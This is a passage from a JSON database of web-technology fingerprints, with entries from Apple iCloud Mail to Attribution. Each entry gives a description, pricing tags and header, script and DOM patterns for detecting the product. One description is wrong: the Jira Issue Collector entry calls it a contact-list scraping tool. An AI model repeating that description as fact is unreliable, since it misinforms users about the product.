\"Apple iCloud Mail is a webmail service provided by Apple, Inc.\",\n    \"dns\": {\n      \"MX\": [\n        \"mail\\\\.icloud\\\\.com\"\n      ],\n      \"TXT\": [\n        \"apple-domain\",\n        \"redirect=icloud\\\\.com\"\n      ]\n    },\n    \"icon\": \"Apple.svg\",\n    \"website\": \"https://www.apple.com/icloud/\"\n  },\n  \"ApplicantStack\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"ApplicantStack is a full-service applicant tracking system that automates and streamlines all stages of the hiring process.\",\n    \"dom\": [\n      \"a[href*='.applicantstack.com/']\"\n    ],\n    \"icon\": \"ApplicantStack.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.applicantstack\\\\.com/\"\n    ],\n    \"website\": \"https://www.applicantstack.com\"\n  },\n  \"Application Request Routing\": {\n    \"cats\": [\n      65\n    ],\n    \"description\": \"Application Request Routing (ARR) is an extension to Internet Information Server (IIS), which enables an IIS server to function as a load balancer.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^ARR/([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Microsoft.svg\",\n    \"implies\": [\n      \"IIS\"\n    ],\n    \"website\": \"https://www.iis.net/downloads/microsoft/application-request-routing\"\n  },\n  \"Appointedd\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Appointedd is an online booking technology.\",\n    \"icon\": \"Appointedd.svg\",\n    \"js\": {\n      \"Appointedd\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.appointedd.com\"\n  },\n  \"Appointo\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Appointo is a Shopify based booking engine from Sidepanda.\",\n    \"icon\": \"Appointo.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/appointo-14/assets/appointo_bundle.js\"\n    ],\n    \"website\": \"https://www.sidepanda.com/appointo\"\n  },\n  \"Appointy\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Appointy is a cloud-based scheduling solution that helps professionals and businesses to manage their appointment scheduling activities and routines.\",\n    \"dom\": [\n      \"a[href*='.appointy.com/'][target='_blank'], iframe[src*='.appointy.com/']\"\n    ],\n    \"icon\": \"Appointy.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.appointy.com/\"\n  },\n  \"Appsflyer\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"AppsFlyer is a SaaS mobile marketing analytics and attribution platform.\",\n    \"icon\": \"Appsflyer.svg\",\n    \"js\": {\n      \"AppsFlyerSdkObject\": \"\"\n    },\n    \"scriptSrc\": [\n      \"websdk\\\\.appsflyer\\\\.com\"\n    ],\n    \"website\": \"https://www.appsflyer.com/\"\n  },\n  \"Apptus\": {\n    \"cats\": [\n      76\n    ],\n    \"cookies\": {\n      \"apptus.customerKey\": \"\",\n      \"apptus.sessionKey\": \"\"\n    },\n    \"description\": \"Apptus is an AI-powered ecommerce optimisation software provider.\",\n    \"icon\": \"Apptus.svg\",\n    \"js\": {\n      \"ApptusEsales\": \"\",\n      \"apptusConfig\": \"\",\n      \"apptusDebug\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.esales\\\\.apptus\\\\.com.+(?:apptus-esales-api-([\\\\d.]+))\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.apptus.com\"\n  },\n  \"Appwrite\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*\",\n    \"description\": \"Appwrite is an end-to-end backend server for web, mobile or native applications packaged as a set of Docker microservices.\",\n    \"icon\": \"Appwrite.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://appwrite.io\",\n    \"xhr\": [\n      \"cloud\\\\.appwrite\\\\.io\"\n    ]\n  },\n  \"Aprimo\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Aprimo is a United States-based company that develops and sells marketing automation software and digital asset management technology.\",\n    \"dom\": [\n      \"source[data-srcset*='/media/aprimo'], img[data-src*='/media/Aprimo'], img[src*='aprimo']\"\n    ],\n    \"icon\": \"Aprimo.svg\",\n    \"js\": {\n      \"Aprimo\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.aprimo.com\"\n  },\n  \"AptusShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"AptusShop is proprietary online store software created from scratch and developed by Aptus.pl.\",\n    \"icon\": \"AptusShop.svg\",\n    \"meta\": {\n      \"generator\": \"^AptusShop\\\\.pl$\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"website\": \"https://www.aptusshop.pl\"\n  },\n  \"Apxium\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Apxium is a software solution designed for automating accounts payable processes.\",\n    \"dom\": [\n      \"div > apx-appskin-page-header\"\n    ],\n    \"icon\": \"Apxium.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.apxium.com\"\n  },\n  \"AquilaCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"AquilaCMS is a fullstack, headless CMS written in JavaScript.\",\n    \"icon\": \"AquilaCMS.svg\",\n    \"implies\": [\n      \"Next.js\",\n      \"Node.js\",\n      \"React\",\n      \"MongoDB\",\n      \"Amazon Web Services\"\n    ],\n    \"meta\": {\n      \"powered-by\": \"AquilaCMS\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.aquila-cms.com/\"\n  },\n  \"Arastta\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:arastta:ecommerce:*:*:*:*:*:*:*:*\",\n    \"description\": \"Arastta is a free and open-source project with contributors from all over the world.\",\n    \"excludes\": [\n      \"OpenCart\"\n    ],\n    \"headers\": {\n      \"Arastta\": \"^(.+)$\\\\;version:\\\\1\",\n      \"X-Arastta\": \"\",\n      \"x-arastta\": \"\"\n    },\n    \"icon\": \"Arastta.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"arastta\\\\.js\"\n    ],\n    \"website\": \"https://arastta.org\"\n  },\n  \"Arc\": {\n    \"cats\": [\n      31\n    ],\n    \"cpe\": \"cpe:2.3:a:arc:arc:*:*:*:*:*:*:*:*\",\n    \"description\": \"Arc is a peer-to-peer CDN that pays site owners for using it. Instead of expensive servers in distant datacenters, Arc's network is comprised of browsers.\",\n    \"dom\": [\n      \"#arc-widget\"\n    ],\n    \"icon\": \"Arc.svg\",\n    \"js\": {\n      \"arc.p2pClient\": \"\",\n      \"arcWidgetJsonp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"arc\\\\.io/widget\\\\.js\"\n    ],\n    \"website\": \"https://arc.io\",\n    \"xhr\": [\n      \"\\\\.arc\\\\.io\"\n    ]\n  },\n  \"Arc XP\": {\n    \"cats\": [\n      1,\n      95\n    ],\n    \"description\": \"Arc XP is a cloud-based digital experience platform that helps enterprise companies, retail brands and media and entertainment organization create and distribute content, drive digital commerce, and deliver powerful experiences.\",\n    \"dom\": [\n      \"#pb-root\"\n    ],\n    \"icon\": \"Arc XP.svg\",\n    \"js\": {\n      \"Fusion.arcSite\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.arcxp.com\"\n  },\n  \"ArcGIS API for JavaScript\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"ArcGIS API for JavaScript is a tool used to embed maps and tasks in web applications.\",\n    \"icon\": \"arcgis_icon.svg\",\n    \"scriptSrc\": [\n      \"js\\\\.arcgis\\\\.com\",\n      \"basemaps\\\\.arcgis\\\\.com\"\n    ],\n    \"website\": \"https://developers.arcgis.com/javascript/\"\n  },\n  \"ArcSpan\": {\n    \"cats\": [\n      36\n    ],\n    \"cookies\": {\n      \"arcid\": \"\",\n      \"aspan_s\": \"\"\n    },\n    \"description\": \"ArcSpan is an audience monetization DMP platform enabling direct sold and programmatic deal results for the world’s finest publishers and retail media networks.\",\n    \"icon\": \"ArcSpan.svg\",\n    \"js\": {\n      \"aspan\": \"\",\n      \"aspan_extern\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.arcspan.com\"\n  },\n  \"Arco Design Vue\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Arco Design is a set of open-source UI Components for Vue, aiming to address experience issues in products.\",\n    \"dom\": [\n      \"link[href*='arcodesign'], link[href*='arco-design'], body[arco-theme], section[class*='arco-layout']\"\n    ],\n    \"icon\": \"ArcoDesign.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://arco.design\"\n  },\n  \"Arena\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Arena widget is an embeddable widget provided by the Arena platform, which allows users to embed live blogs directly on their website.\",\n    \"dom\": [\n      \"iframe[scr*='//go.arena.im/']\"\n    ],\n    \"icon\": \"Arena.svg\",\n    \"js\": {\n      \"arenaHub.arenaIdentify\": \"\",\n      \"arenaLiveblog\": \"\",\n      \"arenaim.initializeLiveblog\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://arena.im\"\n  },\n  \"Arengu\": {\n    \"cats\": [\n      58,\n      110\n    ],\n    \"description\": \"Arengu is an online form builder designed to streamline user onboarding.\",\n    \"icon\": \"Arengu.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.arengu\\\\.com/\"\n    ],\n    \"website\": \"https://www.arengu.com\"\n  },\n  \"Argento\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Argento is an optimised and a responsive Magento template designed to enhance website performance and improve user experience.\",\n    \"icon\": \"Argento.svg\",\n    \"implies\": [\n      \"Magento\"\n    ],\n    \"js\": {\n      \"Argento\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://argentotheme.com\"\n  },\n  \"AroSoftware\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"AroSoftware provides real estate CRM and website design solutions.\",\n    \"icon\": \"AroSoftware.svg\",\n    \"meta\": {\n      \"generator\": \"^AroSoftware Pty Ltd$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.arosoftware.com\"\n  },\n  \"Arreva\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Arreva is a fundraising software that provides the ability to mobilise constituents using the donor tracking system.\",\n    \"dom\": [\n      \"a[href*='=ArrevaOnlineDonationsPortlet_WA']\"\n    ],\n    \"icon\": \"Arreva.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/Arreva-OnlineDonations-Portlet/\"\n    ],\n    \"website\": \"https://www.arreva.com\"\n  },\n  \"ArrowChat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ArrowChat is a communication tool that enables users to send text messages and engage in video chats with one another.\",\n    \"icon\": \"ArrowChat.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/arrowchat/.*/jquery\\\\.js\"\n    ],\n    \"website\": \"https://www.arrowchat.com\"\n  },\n  \"Arsys Domain Parking\": {\n    \"cats\": [\n      109\n    ],\n    \"description\": \"Arsys is a Spanish domain registrar.\",\n    \"dom\": [\n      \"link[rel='stylesheet'][href*='arsys.es/css/parking2.css']\"\n    ],\n    \"icon\": \"arsys.svg\",\n    \"website\": \"https://www.arsys.es\"\n  },\n  \"Artifactory\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<span class=\\\"version\\\">Artifactory(?: Pro)?(?: Power Pack)?(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Artifactory.svg\",\n    \"js\": {\n      \"ArtifactoryUpdates\": \"\"\n    },\n    \"scriptSrc\": [\n      \"wicket/resource/org\\\\.artifactory\\\\.\"\n    ],\n    \"website\": \"https://jfrog.com/open-source/#os-arti\"\n  },\n  \"Artifactory Web Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"Artifactory(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Artifactory.svg\",\n    \"implies\": [\n      \"Artifactory\"\n    ],\n    \"website\": \"https://jfrog.com/open-source/#os-arti\"\n  },\n  \"Artplayer.js\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Artplayer.js is an HTML5 video player that supports customizable UI, subtitles, and plugins, offering a flexible and modern video playback solution.\",\n    \"icon\": \"Artplayer.js.svg\",\n    \"js\": {\n      \"Artplayer\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://artplayer.org\"\n  },\n  \"Aruba.it\": {\n    \"cats\": [\n      88,\n      62\n    ],\n    \"description\": \"Aruba.it is an Italian company mainly active in the web hosting and domain registration businesses.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.technorail\\\\.com\"\n    },\n    \"headers\": {\n      \"x-servername\": \"\\\\.aruba\\\\.it\"\n    },\n    \"icon\": \"Aruba.it.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.aruba.it\"\n  },\n  \"ArvanCloud\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"ArvanCloud is a cloud services provider, offering a wide range of incorporated cloud services including CDN, DDoS mitigation, Cloud Managed DNS, Cloud Security, VoD/AoD Streaming, Live Streaming, Cloud Compute, Cloud Object Storage, and PaaS.\",\n    \"dom\": [\n      \"img[src*='.arvanstorage.com/'], img[src*='.arvanstorage.ir/']\"\n    ],\n    \"headers\": {\n      \"server\": \"ArvanCloud\"\n    },\n    \"icon\": \"ArvanCloud.svg\",\n    \"js\": {\n      \"ArvanCloud\": \"\"\n    },\n    \"website\": \"https://www.arvancloud.ir\"\n  },\n  \"Arwes\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Arwes is a futuristic sci-fi UI web framework.\",\n    \"dom\": [\n      \"style[data-meta^='ArwesSounds(t)']\"\n    ],\n    \"icon\": \"Arwes.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://arwes.dev\"\n  },\n  \"Arya CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Arya CMS is a lesser-known content management system that may not have a significant user base or active development community.\",\n    \"js\": {\n      \"AryaCMS\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://sndigitalhub.com\"\n  },\n  \"Asana\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Asana is a web and mobile application designed to help teams organize, track, and manage their work.\",\n    \"dom\": [\n      \"a[href*='form.asana.com'], a[href*='app.asana.com']\"\n    ],\n    \"icon\": \"Asana.svg\",\n    \"saas\": true,\n    \"website\": \"https://asana.com\"\n  },\n  \"AsciiDoc\": {\n    \"cats\": [\n      1,\n      20,\n      27\n    ],\n    \"description\": \"AsciiDoc is a text document format for writing documentation, slideshows, web pages, man pages and blogs. AsciiDoc files can be translated to many formats including HTML, PDF, EPUB, man page.\",\n    \"icon\": \"AsciiDoc.png\",\n    \"js\": {\n      \"asciidoc\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^AsciiDoc ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.methods.co.nz/asciidoc\"\n  },\n  \"Asciidoctor\": {\n    \"cats\": [\n      4\n    ],\n    \"cpe\": \"cpe:2.3:a:asciidoctor:asciidoctor:*:*:*:*:*:*:*:*\",\n    \"description\": \"Asciidoctor is an open-source text processor and publishing toolchain, written in Ruby, for converting AsciiDoc content to HTML 5, DocBook 5, and other formats.\",\n    \"icon\": \"Asciidoctor.png\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Asciidoctor\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/asciidoctor/asciidoctor\"\n  },\n  \"Asciinema\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Asciinema is a free and open-source solution for recording terminal sessions and sharing them on the web.\",\n    \"dom\": [\n      \"div.asciinema-player-wrapper\",\n      \"div.asciinema-player\"\n    ],\n    \"html\": [\n      \"<asciinema-player\"\n    ],\n    \"icon\": \"Asciinema.svg\",\n    \"js\": {\n      \"AsciinemaPlayer\": \"\",\n      \"asciinema\": \"\"\n    },\n    \"scriptSrc\": [\n      \"asciinema\\\\.org/\"\n    ],\n    \"website\": \"https://asciinema.org/\"\n  },\n  \"Asendia\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Asendia is an international mail joint venture of French La Poste and Swiss Post.\",\n    \"icon\": \"Asendia.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\Asendia\\\\b\"\n    ],\n    \"website\": \"https://www.asendia.com\"\n  },\n  \"Aseqbase\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Aseqbase is a sequence-based web development framework designed to create robust websites.\",\n    \"icon\": \"Aseqbase.svg\",\n    \"meta\": {\n      \"framwork\": \"^aseqbase$\",\n      \"product\": \"www\\\\.aseqbase\\\\.ir\"\n    },\n    \"website\": \"https://aseqbase.mimfa.net\"\n  },\n  \"Asgaros Forum\": {\n    \"cats\": [\n      87,\n      2\n    ],\n    \"description\": \"Asgaros Forum is a lightweight and simple forum plugin for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/asgaros-forum/']\"\n    ],\n    \"icon\": \"Asgaros Forum.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/asgaros-forum/\"\n    ],\n    \"website\": \"https://www.asgaros.de\"\n  },\n  \"Asksuite\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"Asksuite is a platform that enhances direct bookings and revenue for hotels and resorts by improving service experiences and boosting reservation sales productivity.\",\n    \"icon\": \"Asksuite.svg\",\n    \"js\": {\n      \"AsksuiteUtil.calcTime\": \"\",\n      \"asksuiteLocalStorage\": \"\",\n      \"asksuiteLog\": \"\",\n      \"asksuiteSessionStorage\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://asksuite.com\"\n  },\n  \"Assertive Yield\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Assertive Yield is a SaaS company that specialises in helping SSPs (Supply-Side Platforms), publishers, and ad networks optimise their advertising revenue through real-time attribution and yield optimisation strategies.\",\n    \"icon\": \"Assertive Yield.svg\",\n    \"js\": {\n      \"assertive.predict\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.assertiveyield.com\"\n  },\n  \"Astra\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Astra is a fast, lightweight, and highly customizable WordPress Theme.\",\n    \"dom\": {\n      \"link[href*='themes/astra']\": {\n        \"attributes\": {\n          \"href\": \"astra\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      },\n      \"style[id*='astra-theme'], body[class*='astra-'], script[id*='astra-']\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"Astra.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"themes/astra\\\\S*\\\\.js(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wpastra.com/\"\n  },\n  \"Astra Widgets\": {\n    \"cats\": [\n      87,\n      5\n    ],\n    \"description\": \"Astra Widgets is a handy little free plugin that lets you display address, list icons or social profiles within the Astra Theme.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/astra-widgets/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/astra-widgets/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Astra.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\",\n      \"Astra\"\n    ],\n    \"website\": \"https://wpastra.com/did-you-know-astra-is-widget-ready\"\n  },\n  \"Astro\": {\n    \"cats\": [\n      57,\n      12\n    ],\n    \"description\": \"Astro is a new JavaScript-based static site builder.\",\n    \"dom\": {\n      \"[class^='astro-']\": {\n        \"attributes\": {\n          \"class\": \"astro-[\\\\d\\\\w]{8,}\"\n        }\n      },\n      \"astro-root\": {\n        \"attributes\": {\n          \"uid\": \"\"\n        }\n      },\n      \"link[href*='/_astro/']\": {\n        \"attributes\": {\n          \"href\": \"/_astro/(?:[\\\\W\\\\w]+)(?:-|\\\\.)[\\\\d\\\\w]+\\\\.css\"\n        }\n      },\n      \"link[href*='/_astro/'][href$='.css']\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"Astro.svg\",\n    \"js\": {\n      \"Astro\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Astro\\\\sv([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://astro.build\"\n  },\n  \"Astute Solutions\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Astute Solutions is a customer engagement software.\",\n    \"dom\": [\n      \"iframe[src*='.iperceptions.com'], link[href*='.iperceptions.com']\"\n    ],\n    \"icon\": \"Astute Solutions.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.iperceptions\\\\.com\"\n    ],\n    \"website\": \"https://astutesolutions.com\"\n  },\n  \"Atatus\": {\n    \"cats\": [\n      78,\n      13\n    ],\n    \"description\": \"Atatus is a full-stack observability tool that let you identify the performance bottlenecks and helps you optimise your application at the right time.\",\n    \"icon\": \"Atatus.svg\",\n    \"js\": {\n      \"atatus.VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/atatus\\\\.js\"\n    ],\n    \"website\": \"https://www.atatus.com\"\n  },\n  \"Atera\": {\n    \"cats\": [\n      46\n    ],\n    \"description\": \"Atera is a software solution for RMM network discovery, PSA, and remote access.\",\n    \"icon\": \"Atera.svg\",\n    \"js\": {\n      \"ateraAnalyticsFirstLoad\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.atera.com\"\n  },\n  \"Athena Search\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Athena Search is a customizable autocomplete, feature-rich dashboard, smart predictions, real-time reports search engine developed from scratch by Syncit Group’s.\",\n    \"dom\": [\n      \"link[href*='athena/autocomplete/css/autocomplete.css']\"\n    ],\n    \"icon\": \"Athena Search.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wp-content/plugins/athena-search\"\n    ],\n    \"website\": \"https://www.athenasearch.io\"\n  },\n  \"Atlassian Bitbucket\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:atlassian:bitbucket:*:*:*:*:*:*:*:*\",\n    \"description\": \"Bitbucket is a web-based version control repository hosting service for source code and development projects that use either Mercurial or Git revision control systems.\",\n    \"html\": [\n      \"<li>Atlassian Bitbucket <span title=\\\"[a-z0-9]+\\\" id=\\\"product-version\\\" data-commitid=\\\"[a-z0-9]+\\\" data-system-build-number=\\\"[a-z0-9]+\\\"> v([\\\\d.]+)<\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Atlassian Bitbucket.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"js\": {\n      \"bitbucket\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"Bitbucket\"\n    },\n    \"website\": \"https://www.atlassian.com/software/bitbucket/overview/\"\n  },\n  \"Atlassian Confluence\": {\n    \"cats\": [\n      8\n    ],\n    \"cpe\": \"cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*\",\n    \"description\": \"Atlassian Confluence is a web-based collaboration wiki tool.\",\n    \"dom\": {\n      \"li.print-only\": {\n        \"text\": \"Atlassian Confluence ([\\\\d.]+)\\\\;version:\\\\1\"\n      }\n    },\n    \"headers\": {\n      \"X-Confluence-Request-Time\": \"\"\n    },\n    \"icon\": \"Atlassian Confluence.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"meta\": {\n      \"confluence-request-time\": \"\"\n    },\n    \"website\": \"https://www.atlassian.com/software/confluence/overview/team-collaboration-software\"\n  },\n  \"Atlassian FishEye\": {\n    \"cats\": [\n      47\n    ],\n    \"cookies\": {\n      \"FESESSIONID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:atlassian:fisheye:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<title>(?:Log in to )?FishEye (?:and Crucible )?([\\\\d.]+)?</title>\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Atlassian FishEye.svg\",\n    \"website\": \"https://www.atlassian.com/software/fisheye/overview/\"\n  },\n  \"Atlassian Jira\": {\n    \"cats\": [\n      13\n    ],\n    \"cpe\": \"cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*\",\n    \"dom\": [\n      \"#jira\"\n    ],\n    \"icon\": \"Atlassian Jira.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"jira.id\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"JIRA\",\n      \"data-version\": \"([\\\\d.]+)\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"website\": \"https://www.atlassian.com/software/jira\"\n  },\n  \"Atlassian Jira Issue Collector\": {\n    \"cats\": [\n      13,\n      47\n    ],\n    \"description\": \"Atlassian Jira Issue Collector is a tool used to download a list of websites using with email addresses, phone numbers and LinkedIn profiles.\",\n    \"icon\": \"Atlassian Jira.svg\",\n    \"scriptSrc\": [\n      \"jira-issue-collector-plugin\",\n      \"atlassian\\\\.jira\\\\.collector\\\\.plugin\"\n    ],\n    \"website\": \"https://www.atlassian.com/software/jira/overview/\"\n  },\n  \"Atlassian Statuspage\": {\n    \"cats\": [\n      13,\n      62\n    ],\n    \"description\": \"Statuspage is a status and incident communication tool.\",\n    \"dns\": {\n      \"TXT\": \"status-page-domain-verification=\"\n    },\n    \"headers\": {\n      \"X-StatusPage-Skip-Logging\": \"\",\n      \"X-StatusPage-Version\": \"\"\n    },\n    \"html\": [\n      \"<a[^>]*href=\\\"https?://(?:www\\\\.)?statuspage\\\\.io/powered-by[^>]+>\"\n    ],\n    \"icon\": \"Atlassian Statuspage.svg\",\n    \"website\": \"https://www.atlassian.com/software/statuspage\"\n  },\n  \"Atome\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Atome is a brand that allows users to purchase products online and pay for them in monthly installments.\",\n    \"icon\": \"atome.svg\",\n    \"js\": {\n      \"atomeWidget\": \"\"\n    },\n    \"scriptSrc\": [\n      \"gateway\\\\.apaylater\\\\.com/\"\n    ],\n    \"website\": \"https://www.atome.sg/\"\n  },\n  \"Attentive\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Attentive is a personalised mobile messaging platform that helps retail & ecommerce brands acquire, retain, and interact with mobile shoppers.\",\n    \"icon\": \"Attentive.svg\",\n    \"js\": {\n      \"__attentive\": \"\",\n      \"__attentive_domain\": \"\",\n      \"attn_email_save\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.attn\\\\.tv\"\n    ],\n    \"website\": \"https://www.attentivemobile.com\"\n  },\n  \"Attraqt\": {\n    \"cats\": [\n      29,\n      76\n    ],\n    \"description\": \"Attraqt provides AI-driven search, merchandising and personalisation solutions.\",\n    \"icon\": \"Attraqt.svg\",\n    \"js\": {\n      \"_attraqt\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.attraqt\\\\.io\"\n    ],\n    \"website\": \"https://www.attraqt.com/\"\n  },\n  \"Attribution\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Attribution is a marketing analytics platform that provides marketers with insights to understand the cost, revenue and 